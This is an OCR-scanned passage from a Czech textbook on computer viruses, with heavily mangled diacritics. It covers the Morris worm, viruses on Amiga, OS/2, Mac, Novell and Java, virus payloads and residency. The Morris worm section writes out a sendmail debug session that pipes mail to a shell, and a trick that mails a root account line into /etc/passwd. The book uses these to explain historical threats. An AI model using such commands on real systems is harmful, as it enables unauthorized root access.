urcitych podminek je realizovan pfistup bez hesla (soubory /etc/hosts.equiv a .rhosts).

2.3.1. Morrisuv cerv - listopad 1988

Pocatkem listopadu roku 1988 bylo piiblizné 6 000 poéitacl unixové koncepce BSD v siti
Internet napadeno zvlastnim druhem viru, tzv. ervem. Od bézného viru se ligil tim, Ze pro svou
¢innost nepotfeboval hostitele. Jeho hlavnim cilem bylo prostfednictvim sité Internet co nejvice
rozsifit kopii svého téla.

K praniku siti vyuzival dosud neznamych slabin téchto sluzeb:

- ladici (debug) méd programu sendmail (pocitace SunOS),

- sluzby finger (pouze na pocitacich VAX),

— vzdaleného spousténi piikaza rexec a vzdaleného interpretu piikazii rsh.

Terem utoku se stavaly ucty uzivatel(, jejichZ hesla byla:
— préazdna,
- shodné s nazvem Gctu,
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- shodna se jménem uZzivatele,

- shodné s kombinaci dvou jmen uZivatele za sebou,

- shodné s pfijmenim uZivatele,

- shodna s pfijmenim uZivatele ¢tenym pozpéatku,

- shodna s néktergm ze 432 hesel v seznamu Eerva (napft. aaa, algebra, answer, anything,
banana, bandit, batman, cretin, daniel, disney, dog, felicia, football, friend, fun, garfield,
gnu, guest, heinlein, hello, honey, light, snoopy, temptation, wizard apod.),

- nebyla vyZadovana pocitaéi specifikovangmi souborem .rhosts,

- shodnéa s obsahem lokéalniho systémového slovniku /usr/dict/words.

Cilem infikace byly pocitace:

- pouze system SUN a VAX,

— definované soubory /etc/hosts.equiv a .rhosts,

— definované soubory .forward a .rhosts Gspésné prolomenygch uzivatelskgch uctu,
- definované jako sifové brany v routovacich tabulkéach,

- na vzdalenych koncich dvoubodoviych spoju,

- s ndhodné vybranymi adresami z prvni dostupné brany.

Cerv se nesnazil:

- ziskat privilegovany pfistup pomoci G¢tu root,

- nicit data,

— klast asované bomby,

- zvghodhovat nékterg druh site,

- pouzivat uucp (sada ptikazt pro pfenos souborli, posty, vzdaleného spousténi piikazu).

Systémové strategie Gtoku byly nasledujici:

Sendmail (debug mod)

Ladici méd |, postovniho doruovatele® disponuje mnoha moznostmi. Cerv vyuzil jedné z ne-

specifikovangch schopnosti protokolu SMTP k rozsiteni své kopie. Principem $ifeni byl do-

pis, jehoz adresatem byl program, resp. ptikaz, kter§ oddélil od dopisu postovni zahlavi

a zbytek, tj. vlastni text zpravy obsahujici skript cerva, byl pfedéan shellu na zpracovani. Vse

ostatni jiz ¥idil samotny skript (zbyly ptrenos téla erva, preklad, sestaveni a spusténi).
Prakticka postovni relace v okamZiku napadeni pocitace probihala pres port 25 néasledu-

jicim zplisobem:

$ telnet obét 25

MAIL FROM: </dev/null>

RCPT TO: <”|sed -e *“1,/7$/’d|/bin/sh;exit 07>

DATA

...script Cerva...

QUIT
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¢ Finger (démon fingerd)
Cerv vyvolaval zamérné preteceni vyrovnavaci paméti (bufferu) na zasobniku pocitacia VAX,
které zpusobilo vytvoteni falesného ramce (fake stack frame). To ve svich dusledcich zptso-
bilo provedeni kratkého podprogramu pfi navratu z volané procedury, nebot pfislusna kni-
hovni funkce neprovadéla kontrolu na pteteCeni zasobniku a dany trik tim umoznila.
Pti snaze o prolomeni uZivatelskgch uctt vyuzival Cerv tdaje z vefejné pristupného souboru
/Jetc/passwd, jehoz kazdy fadek ma nasledujici strukturu:

UZivatel:Zak6dované_heslo:UID:GID:Komentar:Domovsky_adresar:Shell
napf.
frodo:c4sw/.EEmn9gj:212:101:Frodo Baggins:/home/frodo:/bin/csh

Heslo je sifrovano algoritmem DES (11 znakti + 2 znaky odvozené od ¢asu). UID je identifi-
kator uzivatele (napf. nulové UID specifikuje nejvy3si Groven opravnéni, tj. uZivatele root),
GID pak skupiny, do které uzivatel patii. Shell specifikuje pouzivany interpret piikaza (sh,
ksh, csh).

Cerv disponoval maskovacimi metodami, proto byla jeho piitomnost zjisténa az po zare-
gistrovani znatelného zpomaleni béhu Internetu zptsobeného zahlcenim sité.

Odhaleni ¢erva bylo obtizné, protoze:

- t&lo bylo ptenaseno v zakdédovaném tvaru (x XOR 81h),

- v8echny pracovni soubory si erv udrZzoval pouze v operacni paméti pocitace (spustitelng
tvar byl po spusténi ihned vymazén z disku),

- minimalizoval v{pis paméti pfi pfipadné havérii tak, aby nemohlo dojit k jeho prozrazeni
(zameteni stop),

- aktivni proces nesl jméno stejné jako shell (sh),

- identifikace aktivniho procesu byla kazdé tfi minuty zménéna vytvofenim nového proce-
su volanim fork a sou¢asnym zrusenim procesu rodi€ovského. Tim nepfimo byla maskovéa-
na i pfipadna dlouha doba béhu jednoho procesu.

Priklad cerva vystizné charakterizuje slabiny Unixu a moznosti pfipadnich utokd, kte-
ré bylo nutné odstranit. Na zdvér jeden maly p¥iklad mozného priiniku na téma spoje-
ni uvedenych hrozeb:

$ telnet localhost 25
MAIL FROM: <|/etc/passwd>
RCPT TO0: nouser

DATA
attacker::0:0::/bin/csh

QUIT
Zaslani dopisu neexistujicimu uzivateli ,nouser” zptisobi jeho vrdceni odesilateli véetné

dat. Tim je ale ,/etc/passwd” a télo zprdvy obsahuje polozku uzivatele ,attacker” s na-
definovanym root-oprdvnénim...
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2.4. Virus a jiné operacni systémy

Ani situace v jingch operacnich systémech neni oprosténa od virovich problému. Jejich Cetnost
je vdak evidentné nizsi nez v piipadé MS-DOSu, nebot pro virové tviirce nejsou tolik pfitazlivé
malo rozsifené operaéni systémy.

e Amiga
Pocitace fady Amiga jsou, & spise byly, pfeduréeny zejména pro zabavu. Rada her vyzaduje
zavedeni operacniho systému z herni diskety. Tim je dano, Ze nejidealngjsi podminky pro $i-
feni maji bootovaci viry. Situace je o to komplikovanéjsi, Ze podoba boot sektorti jednotli-
vich hernich disket je rizna, coz ztéZuje pfipadnou detekci viru v zavadécim sektoru.

o 0S/2
Vzhledem k blizké pfibuznosti operacnich systemi OS/2 a MS-DOS, kdy oba operaéni systé-
my mohou dokonce koexistovat na stejném dosovém logickém disku, je Zivotaschopnost virt
MS-DOS obrovska. Chovani virtl je zavislé na konkrétnim podminkéach, OS/2 nepodporuje
vechny sluzby Dosu a tak napt. jiz v uZivatelské pfiruéce systemu OS/2 Warp je zmifiovana
kolize s Joshi virem, kter( zplsobuje ndhodné zamykéani systému. Skutecnych viri OS/2

soubory.

e System x pocitacu fady Macintosh
[ v tomto prostfedi musi uZivatel bojovat s viry. Ptikladem je alespon virus MBDF A, ktery na-
pada spousténé aplikace, neobsahuje destruktivni ¢innost a je funkéni v systémech System 6
i System 7. Virus pfimo napada jadro systému, diky cemuz musi systém upravit a zapsat jej zpét
na disk. Tato ¢innost trva i nékolik minut a uZivatel miZe nabyt dojmu, Ze pocitac zamrznul.
Provede-li béhem této doby jeho restart, dojde k vaZnému poruseni operaéniho systému. Virus
se rozsifil prostfednictvim trojského koné, instalovaného do hry Tetris.

e Sifové operaéni systemy Novell Netware

Problematika virti v sifovich operaénich systémech je opét zavisla na tom, do jaké miry je
operacni systém MS-DOS kompatibilni. Pravé systém Novell Netware je pfimo na prostredi
MS-DOSu zaloZen. Klicovym mistem celé sité je jeji fidici pocitag, tzv. server. Je-li na server
uloZen zavirovany soubor, pak kazda pracovni stanice, ze které bude tento program spustén,
bude virem infikovana (stejna situace je oviem i na sitich Microsoft Windows). Spusténi pro-
gramu se totiZ nerealizuje v operacni paméti serveru, ale v operaéni paméti pracovni stani-
ce. Pro viry je to idealni prostfedi pro jejich rychlé rozmnozeni. Viry, i kdyz jsou schopny in-
fikovat sifové logické disky, nedokazi obejit vestavény bezpecnostni systém kontrol a prav
pristupu. Plati, Ze virus se miiZe na serveru rozsitit pouze tam, kam aZ saha opravnéni zapi-
su pfislusného uZivatele. Nejvétsi nebezpedi, podobné jako v systému Unix, hrozi v pfipadé,
Ze virus ziska prava spravce sité (uZivatel supervisor). Existence skuteénych sitovych viri za-
tim neni zndma. Hlavnim divodem je, Ze takovy virus by musel mit podstatu zaveditelného
modulu serveru (napf. NLM ve verzi 3.11), ktera neni prili§ dobfe zdokumentovana.
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Obecnym sifovym problémem néktergch virdt mize byt jejich pfilisna vazba na operaéni
systém. Napf. tunelujici dosové viry takto ve snaze vyhnout se v paméti rezidentnim antivi-
rovych ochrandm mohou Gplné minout vstupni body sitovych ovladact a jejich mnozeni po
siti je tak Gplné znemoznéno.

e Palm OS PDA
Dokonce i tento specificky operaéni systém specifického druhu poéitaéli se jiz dockal
svého prvého viru. Podobné jako prvotni dosové viry i virus Phage je klasickym ptikladem
prepisujictho viru, zplsobujictho znefunkénéni béhu zavirované aplikace. Jakmile je
napadeny soubor PRC pfenesen do Palmu napadéa viechny pfitomné aplikace.

2.5. Virus a Java

Programovaci jazyk Java je platformové nezavisly (nezavislost na operalnim systému zajistuje jeji
prisludng systémovy interpret) a na prvni pohled by se mohlo zdét, Ze i naprosto ideélni prostfe-
dek ke tvorbé univerzélnich virt. Naproti tomu je viak Java deklarovana jako jazyk bezpeény. Du-
vodem je, Ze umoziuje vytvofit dva riizné druhy spustitelngch programu (soubory *.class) s rizng-
mi bezpeénostnimi irovnémi — vlastni javové aplikace a applety, které je mozné vloZit na webovou
stranku formou tagu HTML.. UZivatelovu bezpecnost zajisfuji definovana jazykova omezeni tim, Ze
applety nemohou pfistupovat k lokalnim zdrojim (disk, tiskarna apod.), navazovat internetova
spojeni se treti stranou ani komunikovat s jingmi beZicimi applety. [ pfesto, Ze se jiz vyskytly dva
javoveé viry, nejedna se o nic pfevratného. Bajtovy kod javovich aplikaci je jednoduchy, dobfe po-
psanyg a bylo jen otazkou ¢asu, kdy se prvni virus objevi. Pro javové viry plati v podstaté stejna
omezeni jako pro viry HTML. Dokud si uZivatel zavirované applety nestdhne a nespusti na svém
pocitadi nebo jejich zdroj neprohlasi za duvéryhodng, nemohou se tyto viry mnozit. Virus Strange
Brew byl prvni, kterg nazna¢il moznosti a jiz druhy virus Bean Hive se vyznacuje velice zajimavou
technikou. Samotny virus se sklada ze dvou nezavisljch &asti, kde prvni ¢ast je pouze startovaci
a ma za ukol z webové stranky tvarct (http;/www.codebreakers.org) pouze stdhnout a spustit
vlastni vykonnou ¢ast viru. Neobvykly zplisob, ktery napadenému nedéava Sanci zjistit, co se pfi
které aktivaci viru vlastné délo. Zaroven je to prvni virus, kterg je schopen sam sebe upgradovat
podobné, jako to &ini jiné aplikace.

Nejvétsim nebezpedim pro Javu a JavaScript jsou bezpelnostni diry jejiho interpretu (Java
Virtual Machine) af uz v klasickém tvaru nebo v implementaci ve webovém prohlizeéi. Tyto di-
ry jsou vyuzitelné ptedevsim trojskgmi koni. TotéZ plati pro webové plug-iny, ActiveX objekty
a piibuzné technologie. Firewall je v tomto pfipadé netéinng, naopak Casto se stava zdrojem
problému, kdy nékteré applety nelze za firewallem viibec spustit. S &im se viak webovy surfaf
muZe opravdu setkat jsou Casté appletové a HTML zlomyslnosti (nekoneéné generovani novich
oken vedouci az k padu systému, neptijemné obtéZujici zvuky apod.).

Stoji za zdlraznéni, Ze Java a JavaScript jsou dvé zcela rozdilné kategorie Javy; JavaScript
se fadi mezi skriptovaci jazyky, ze ktergch se nevytvati spustitelné soubory EXE a které ve vi-
rové problematice vyuZivaji zejména Cervi.
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2,6. Problémy (ne)destruktivity virG

Pro bézného uZivatele je posouzeni viru, zda je & neni destruktivni, klicovou otazkou. Ve své
podstaté lze viry rozdélit na destruktivni a nedestruktivni. Stanovit viak hranici mezi destruktivi-
tou a nedestruktivitou je velice obtizné, ne-li nemozné. Leccos mohla napovédét zminka o vi-
rech v prostfedi Windows, kdy spusténi stargch Windows je nemozné, je-li dosovym virem za-
virovéano jejich jadro. Zdanlivé sebeneskodngjsi virus bez destruktivnich rutin zptisobi pad celého
systemu Windows. Z tohoto lze usuzovat, a ve své podstaté i spravné, Ze neexistuje nedestruk-
tivni virus. I ten nejnevinnéjsi virus musi proveést replikaci svého téla, coZ ve svich dusledcich ve
specialnich pfipadech virim ,,neodolnych® aplikaci vede k jejich nefunkénosti &i k celemu zhrou-
ceni opera¢niho systému. To je i hlavni diivod, pro¢ byla v minulosti zavrZzena myslenka tzv. do-
brych virt, které mély zajistovat ochranu programt proti nelegalnimu kopirovani, proti jingm vi-
rovym infiltracim apod.

Na druhou stranu, pohybujeme-li se v roviné ,bézngch® aplikaci, pak zde jiz ma toto ¢lené-
ni virQ zfejmy§ viznam. Je podstatny rozdil, padaji-li uZivateli pismenka na spodni okraj obrazov-
ky (virus Cascade) ¢i odrazi-li se ping-pongovy micek od jednotlivich pismen na obrazovce (vi-
rus Ping Pong) nebo dojde-li napt. k formatovani harddisku (virus Michelangelo) a tim i ke ztraté
viech dat apod.

Nedestruktivni aktivaéni ruting maji nejcastéji nasledujici charakter:

e Vizualni projevy

Napf. virus Pojer ve specialnich pfipadech (lichg den v tnoru, prosinci, ervenci a v zafi) zpu-

sobuje blikani palfadkoveho kurzoru v levem hornim rohu obrazovky. Casté je i prosté zo-

brazovani zprav, davajicich pfitomnost viru na védomi. Naprosto prevlada textovy rezim, po-
uziti grafického reZimu je vzacné.
o Akustické projevy

Realizaci akustickych projevtl provadi viry pfevazné pomoci ovladani portu speakeru, zabu-

dovaného do poéitace. Virus Cadkill je jednim z ptiklad(i, v poledne da uZivateli hlasité naje-

vo, Ze je Cas jit na obéd.
¢ Audio-vizualni projevy

Piikladem muZe byt dalsi aktivaéni rutina viru Pojer, u nas znamého téz jako Brain & 17 lis-

topad, jez se aktivuje pravé 17.listopadu a 6.Gnora. PFi spusténi zavirovaného programu vy-

pisuje na obrazovku spolu se zvukovim doprovodem (,cvrlikani“, jehoZz kmitocet je tvofen
vypisovanymi pismeny) nasledujici politické prohlaseni spolu s ,,patfiéngm* ohodnocenim jis-
tgch antivirovgch programi:

** B RAITNZ2 v 1.00 **
WARNING ! Your PC has been WANKed !
>> 17.11.1989 <K
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Viruses against political extremes , for freedom and parliamentary
democracy.

>> STOP LENINISM , STOP KLAUSISM , STOP BLOODY DOGMATIC IDEOLOGY!! <<

Remarks:
- for John McAfee: John,your SCAN = good program.

- for CN and his company:
Boys,the best ANTI-VIRUSES are Zeryk,Saryk and Vorisek !

- for F : Girls are better than computers and programming !
This program is copyright by SB SOFTWARE Al1 rights reserved.

0.K. Your PC is now ready !

Je vidét, Ze aktivaéni ¢innost virll je velice rozmanitd a zaséhla dokonce i naSe politické
spektrum.

Nejcastejsi akce provadéné destruktivnimi viry jsou:

— formatovani pevného disku,

— pfepis ndhodné vybranych sektorti nahodngmi daty,

- zmény obsahu soubor, pfip. jejich vimaz.

Nejvétsim nebezpedim pro uzivatele jsou viry, pfi jejichz pfipadném viskytu na disku se ne-
da jednoznaéné fici, ktera data jsou platna a ktera nikoliv. V okamziku, kdy 6.bfezna Michelan-
gelo zformatuje disk, je v3e jasné a uzivatel vi, Ze pfiSel o sva data. Dbal-li uZivatel zasad antivi-
rové bezpelnosti, pak méa k dispozici zalozni kopie svich dat. Pokud se oviem jednéa o virus,
kterg ,oblas” nezapise obsah bufferu na disk ¢i ,,obcas“ pfemaZze ndhodné vybrany sektor na-
hodnymi daty, pak v tomto okamziku uZivatel nevi, ktera jeho zalohovana data jsou vlastné plat-
na a ktera ne. Tyto viry jsou evidentné nejdestruktivnéjsi, ponévadz ani zadlohovani nevytesi pro-
blém ochrany uzivateloviych dat. Pfikladem této kategorie nejnebezpecnéjsich skudct je virus
Dark Avenger, ktery po kaZzdém Sestnactém spusténi zavirovaného programu piepise jeden néa-
hodné vybrany sektor na disku obsahem zavadéciho sektoru.

Netypicky destruktivni mechanismus pouziva virus Azusa, ktery zneviditeliuje porty COM1
a LPT1, ¢imz vytvaii dojem chybného hardwaru. Podobné virus Parity Boot pfedstira technic-
kou chybu paméti RAM.

Recky virus Armagedon, pfi splnéni dodate¢ngch podminek a po zjisténi p¥itomnosti mode-
mu na pocitaci, provadi telefonni spojeni pocitace s mistni informaéni ¢asovou centralou.

Destruktivni ¢innost virti je v néktergch pripadech zavisla i na uzivateli. Virus Casino demon-
struje hraci automat a v pfipadé uzivatelovy prohry ni¢i tabulku FAT. Casty je i vyskyt test(l, kdy
opét, neodpovi-li uZivatel na zadané otézky spravné, virus aktivuje svoji destruktivni ¢innost.

Obecnym trendem celé virové historie je velice fidky viskyt skutecné destruktivnich virti. Je
to logické, nebot v okamziku, kdy virus zformatuje pevny disk, dojde i k jeho likvidaci. Kvalitné
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psané viry maximalné pouzivaji on-line kodovani uloZzenjch dat, aby vylougily moznost svého
jednoduchého odstranéni z poéitace. V tomto okamziku by data ztstala zakbédovéana a pro uZi-
vatele necitelna. Pravdépodobné nejznaméjsim piikladem u nés je virus One Half, koduijici jed-
notlivé stopy pevného disku. Bézné viry vétdinou destruktivni rutinu neobsahuji, pouze se sna-
Zi maskovat svoji pfitomnost na pocitaci a co nejvice se rozsitit po svéteé.

Casto se klade otdzka, zda mtize virus poskodit hardware pocitace? Starsi literatura si-
ce uvddi jisté moznosti poniceni soucdsti pocitade — prehrati urcité casti procesoru ¢i adap-
téru EGA neustdlim opakovanim jedné instrukce, rozkmitdni hlavicek pevného disku do
rezonance s jejich ndslednym ulomenim apod. V minulosti byly rovnéz zndmy hrozby vy-
staveni diskovych hlavicek na neexistujici stopu. VSechny tyto moznosti byly dany pocatec-
nim vjvojem pocitacového hardwaru, kter( s témito okolnostmi nepocital. V dnesni dobé
je jiz uroven technického vybaveni pocitacti na takové trouni, Ze obavy z jejich pfimého po-
Skozeni viry jsou zcela plané a jakékoliv jiné turzeni je mytem. Vyjimkou potvrzujici pravi-
dlo jsou prepisovatelné paméti typu Flash-BIOS. Tato pamét umoznuje vylepsit zdkladni
desku pocitace pripadniym softwarovym upgradem. Obsah Flash-BIOSu pfepisuji nap¥. do-
sovy virus Emperor ¢i virus CIH Windows 95, ¢imz znemozni béh pocitace znamenajici pro
bézného uzivatele opravu ve specializovaném servisu. Obranou jsou zdkladni desky s tech-
nologii Dual-BIOS, které obsahuji druh{ zdlozni BIOS, kter( neni pfimo modifikovatelny.

~ L4 ~ve ~ 4 [ ] o
3. Déleni pocitacovych viro
Pocitacové viry, podobné jako jejich definici, lze roz¢lenit opét z nékolika thli pohledu. Naprosto
zésadni jsou tH pohledy — jakym zplsobem (a zda vibec) jsou viry umistény v paméti, co se stava
teréem jejich napadeni a jakym zptsobem se chovaji vaci svému okoli (systémovému a uZivatel-
skému).

Jednotliva déleni se navzajem prolinaji, rezidentné umisténé viry v paméti mohou napt. na-
padat nejen soubory, ale i zavadéci sektory. Tyto viry mohou byt déle polymorini, stealth, tu-
nelujici ¢i vée dohromady. MozZnosti je nepfeberné mnoZstvi.

Kromé uvedenych virovgch kategorii existuje jesté jedna dalsi, velice dulezita skupina virt.
dJsou to viry oznaované jako ,,In the Wild“. Nejedné se o kategorii viri v pravém slova smyslu,
jde o seznam celosvétové nejrozsifenéjsich virli, kterg je pouZivan ptredevsim k seriéznim tes-
tim antivirovych prostfedki. Spravné ohodnotit antivirovy program je véc komplikovana a pro
potfebu sladéni procentualnich Gspésnosti uvadénych jednotlivimi recenzenty slouzi pravé se-
znam ,In the Wild*“ jako reprezentativni skupina virti pro testovani.

3.1. Viry podle umisténi v paméti

K tomu, aby mohl virus na pocitaci uderit, musi dostat pfileZitost vykonat svoji naprogramova-
nou ¢innost. To si virus zajistuje v okamziku infikace nositele, kdy jeho pfislusné startovaci in-
formace pfesméruje na sveé télo. V okamziku, kdy virus za¢ne vykonavat svoji ¢innost, méa dvé
moznosti svého dalsiho konani. Bud' provede jednorazovou akci (nejcastégji dalsi infikace) a pre-
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da ¥izeni zpét svému hostiteli (nerezidentni virus) nebo se nainstaluje na pozadi operaéni pamé-
ti, odkud ¢ekéa na aktivaéni popud k dalsi ¢innosti (rezidentni virus). Bereme-li do vahy bézné
koncipované viry, pak je evidentni, Ze viry rezidentni jsou mnohem nebezpenéjsi nez viry ne-
rezidentni. Vzhledem k nulovému kryti jadra operaéniho systému MS-DOS se rezidentni viry
stavaji vladci systému.

3.1.1. Nerezidentni viry

Této, co do poctu nezanedbatelné, skupiné virti se ¥ika viry ,,pfimé akce”. Nerezidentni virus se
spokoii s faktem, Ze v okamziku spusténi zavirovaného programu prebere Fizeni jako prvni pfed
timto programem, provede svoji &innost (nejéastéji replikaci svého téla) a pak preda fizeni zpét
hostitelskému programu. U nerezidentnich virii mluvime pouze o jejich podobé souborovich vi-
ri. Bootovaci nerezidentni virus v realné praxi neexistuje, nebot tato kombinace nema logicke
opodstatnéni.

Ptikladem charakteristického chovéni jsou viry Beware, ktery infikuje vechny programy
s pfiponou COM v daném pracovnim adresafi, ¢i virus Headache, kter§ neinfikuje v pracovnim
adreséafi viechny programy typu COM jako virus Beware, ale pouze jeden vybranyg.

Jednorazovost akce je hlavnim znakem nerezidentnich virt. Vznik téchto virt se datuje k po-
¢atku vzniku tohoto programaétorského odvétvi a da se ¥ici, Ze v dnesni dobé se tato skupina
vyskytuje velice zfidka. Jednoznaéné dominuji viry rezidentni diky trendu co nejvice ztiZit uZiva-
teli zjisténi, Zze jeho pocitac je infikovan. Tykéa se to zejména kategorie samomaskujicich se viri
(stealth). U této kategorie je rezidentnost nezbytnosti, nebof maskovaci mechanismus musi
probihat v redlném Case testovanim pfisludngch poZadavki na operaéni systém. Po programaé-
torské strance jsou nerezidentni viry mnohem snazsi na vytvoreni.

3.1.2. Rezidentni viry

Hlavni vlastnosti této nejrozsifenéjsi skupiny virtl je schopnost setrvat rezidentné v paméti.
Obecna rezidentnost programt je vlastnost umoziujici béh téchto programi na pozadi operac-
niho systému. Rezidentni program zajisti, diive neZ ukonéi svoji ¢innost a vrati zpét fizeni ope-
ralnimu systému, Ze Cast jeho téla bude aktivni i nadéle. V praxi to znamena, Ze takto konci-
povany program presméruje vektory prisludngch pferudeni na sebe, a tim v budoucnu, dojde-li
k vyvolani nékterého z téchto preruseni, bude nainstalovana rezidentni ¢ast programu aktivova-
na. Typickymi pfiklady rezidentnich programu jsou ovlada¢ mysi a programy, aktivujici se na
stisk kombinace klaves (napf. sniméni obsahu obrazovky). Na rozdil od téchto programii viak
rezidentni viry provadéji svoji ¢innost tajné, bez uZivatelova védomi. Mezi nejcastéji obsluhova-
na preruseni viry patfi preruseni Dosu (int 21h) a diskové operace BIOSu (int 13h). Pferuseni
Dosu se stava hlavnim teréem souborovgch virdi, diskové operace pak virti bootovacich. V obou
pripadech slouZi dané pferuSeni jako popud k jejich ptipadné replikaci ¢i destruktivni ¢innosti.
Mezi dalsi, Casto obsluhovana prerudeni, patfi pferudeni ¢asovace (int 1ch a int 08h), pferuse-
ni kritické chyby Dosu (int 24h), pferuSeni od klavesnice (int 09h) a dokonce i ladici pferuseni
(int 01h). Vgjimkou nejsou ani pfipady, kdy si virus vytvafi vlastni uzivatelské pferuseni.
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Podle toho, jakgm zplisobem svoji rezidentnost zajisfuji, miizeme tyto viry déle rozdélit na:

¢ Rezidentni legalné - viry TSR
TSR viry jsou ty, jez pouZivaji pfislusné sluzby operacniho systému a které jsou diky této sku-
te€nosti i snaze detekovatelné. Zkratka TSR se pouZziva pravé v souvislosti s rezidentnimi pro-
gramy obecné a znamena Terminate but Stay Resident (Skondi, ale ziistait rezidentni).

¢ Rezidentni nelegalné

K nelegélné rezidentnim viriim patfi pfevazna vétsina bootovacich virt, které se umisti tésné

pod hranici 640 kB zakladni ¢asti operaéni paméti RAM a operacnimu systému , tvrdé“ za-

berou pfisludnou ¢ast této pameéti pro vlastni potfebu. Operacni systém pak o odebrané pa-

méti viibec nevi a tim ma virus zaji$téno, Zze nedojde k pfemazéni jeho téla jingmi daty.
Tuto skute¢nost Ize velice jednoduse zjistit piikazy Dosu mem & chkdsk, které mimo jiné

pravé vypisuji i tdaj o velikosti zakladni paméti (conventional memory). Pozor! Existuji vak

i pfipady, kdy velikost paméti neni 640 kB (655 360 B) z legélniho divodu. Mezi né patfi:

- potitate PS/2 rezervuji 1 kB paméti pro ptidavnou datovou oblast BIOSu,

- pocitate s BIOSem firmy American Megatrends Inc. (AMI BIOS) pouzivaji 1 kB paméti pro
interni proménné BIOSu,

- ovladace SCSI pro tento typ pevnych disku,

— program DiskSecure,

— starsi pocitate COMPAQ zde vyhrazovaly prostor pro vyrovnavaci paméf pro mys,

- hlidaci program zabrafujici zavedeni operaniho systému z disket,

— pocitate HP Vectra,

— specialni BIOSy, které pouzivaji tuto paméf pro jiné Gcely, napt. pro vestavény kalendar ¢i
kalkulator.

Chce-li mit uZivatel naprostou jistotu, musi tedy provést kontrolu velikosti paméti po zavede-
ni operaniho systému z &isté (nezavirované) systémové diskety. Zaroven by nemély byt spus-
tény programy typu Windows &i DesqView, které mohou operaéni pamét pocitace obsluho-
vat ve vlastni reZii a mohou tedy zkreslit vystupni tdaje programu mem.

Poznamka:
Je zfejmé, zZe na pocitadich s jinou velikosti zdkladni paméti (nap¥. 512 kB ¢i 256 kB)
bude program mem hlasit odpovidajici hodnotu a nikoliv 640 kB, jak bylo uvedeno
vpse. Nicméné viyskyt takovych pocitacti bude v dnesni dobé jiz spise sporadicky, hod-
ny muzejniho zafazeni.

S néastupem Dosu verze 5 a 6 vznikaji i viry, které se instaluji do horni paméti nad hranici
1 MB (pamétovgy segment FFFFH), je-li nainstalovan ovlada¢ himem.sys a je-li DOS nastaven
na HIGH (napft. virus Gold Bug). Virus ma moznost vyuzit i pamét mezi 640 kB a 1 MB (seg-
menty aO00H az FFFFH), tzv. UMB (Upper Memory Blocks) (napf. virus NSFALL).
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Neékteré viry pouZivaji svérazng postup nelegélni rezidentni instalace, jimz je p¥imé instalova-
ni na konec zakladni paméti bez ohledu na to, zda pamét je k dispozici ¢i neni. Zavisi na kon-
krétnim stavu operaéniho systému, jak instalace viru do paméti dopadne (napt. virus Ebola).

3.2. Viry podle cile infekce

Déleni podle cile infekce specifikuje, co se stava teréem virového Gtoku. V zasadé ma virus dvé
zakladni moZnosti jak provést infikaci. Pruni moZnosti je napadeni zavadéciho sektoru disku ¢&i
diskety — bootovaci viry, druhou moZnosti je napadeni spustitelnych souborti (programt, ovla-
dacl, prekryvngch modulti apod.) — viry souborové. Historicky vivoj této oblasti dosel déle
k momentu, kdy se naskyta treti varianta — spojeni obou pfedchozich moznosti, tj. napadeni jak
zavadéciho sektoru tak spustitelného programu (multipartitni viry).

3.2.1. Bootovaci viry

Porozumét bootovacim virim znamenéa nejprve si ujasnit pojmy zavadéci sektor (boot sektor) a ta-
bulka rozdéleni pevného disku (partition table). V anglické literatute se kromé pojma ,,Boot Sector®
a ,Partition Table“ uvadéji i ekvivalentni nazvy ,Boot Record® resp. Master Boot Record (MBR).

Zavadéci sektor mé kazda disketa a kazdy logicky disk pevného disku (kazd§ pevny disk je
mozné rozdélit na nékolik tzv. logickych diski navzajem na sobé nezavisljch; napf. je mozné roz-
delit harddisk 1.2 GB na tfi logické disky C:, D: a E: o velikostech 200 MB, 500 MB a 500 MB).

Tabulku rozdéleni pevného disku ma pouze pevny disk (disketa je kapacitné malé pamétove
meédium a operacni systémy nepovoluji jeji rozdéleni na mensi, logické ¢asti).

Zavadéci sektor i tabulka rozdéleni pevného disku jsou tzv. zavadéci sektory (nechf je pozdra-
vena Ceska terminologie, jiz musi autofi knih dodrZzovat), oba slouzi k zavedeni opera¢niho systé-
mu. Zavadéci sektor pfimo, tabulka rozdéleni pevniho disku nepfimo:

¢ Boot sektor
Fyzicky pruni sektor (0.hlava, 0.stopa, 1.sektor) diskety &i logické ¢asti pevného disku. Obsa-
huje zavadéci kod slouZici k finalnimu zavedeni operaéniho systému — nadita systémové sou-
bory (I0.SYS a MSDOS.SYS u Microsoft Dosu, IBMBIO.COM a IBMDOS.COM
u IBM Dosu) a ptedava jim fizeni, které dale zajisti vlastni spusténi jadra Dosu, provedeni sy-
stemovych soubordt CONFIG.SYS, AUTOEXEC.BAT a v neposledni fadé spusténi piikazo-
vého interpretu COMMAND.COM.

¢ Partition table

Fyzicky pruni sektor (0.hlava, 0.stopa, 1.sektor) pevného disku. Tento sektor obsahuje v tivo-
du kréatky fidici program nasledovany vlastni tabulkou rozdéleni pevného disku na disky logic-
ke. Ridici program prochézi zapisy v této tabulce a zjistuje, které logicka &ast (partition) je za-
veditelna (bootable), tj. ktery logicky disk obsahuje opera¢ni systém. Jakmile Fidici program
takovou oblast najde (v drtivé vétsiné pfipadi je to logicky disk C:), zjisti soutadnice boot sek-
toru tohoto logického disku, nacte jej do paméti a pfeda mu fizeni, ¢imz dojde k vlastnimu za-
vedeni operacniho systému. Strukturu tabulky rozdéleni pevného disku dokumentuje obr. 1.
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Obrézek 1: Tabulka rozdéleni pevného disku

Bootovaci virus uklada své télo do zavadéciho sektoru pevného disku ¢i diskety. Jeding moz-
ng zplusob nékazy poéitace timto druhem virt je pokus (af uz Gspésny ¢i netspésdny) o zavede-
ni opera¢niho systému ze zavirované diskety. V takovémto pfipadé dojde k aktivaci virového té-
la uloZeného v zavadécim sektoru, virus se rezidentné usidli v paméti, neni-li jesté nakazen
pevny disk, pak provede jeho zavirovani a posléze pfipadné dozavadi operaéni systém. Neni-li
disketa systémova (operacni systém neni na této disketé vygenerovan) dojde k provedeni rutiny
originalniho zavadéce, tj. nejcastéji k vipisu, Ze disketa neobsahuje operaéni systém. V tuto
chvili je viak pevny disk jiz zavirovan.

Z principialniho hlediska je jedno, zda bootovaci virus napadne tabulku rozdéleni pevného di-
sku ¢i zavadéci sektor systémového logického disku. Obé dvé moZnosti jsou ekvivalentni, pro-
gramatorsky snazsi je mechanismus zavirovani tabulky rozdéleni pevného disku, nebof virus ne-
musi zjisfovat, kterg logicky disk je systémovy. V obou piipadech mé vsak virus zajisténo, Ze
jeho télo se provede pted samotnym spusténim operaéniho systému.

Jakmile virus zjisti, Ze pevny disk neni zavirovan, odloZi originalni zavadéci sektor na jisté de-
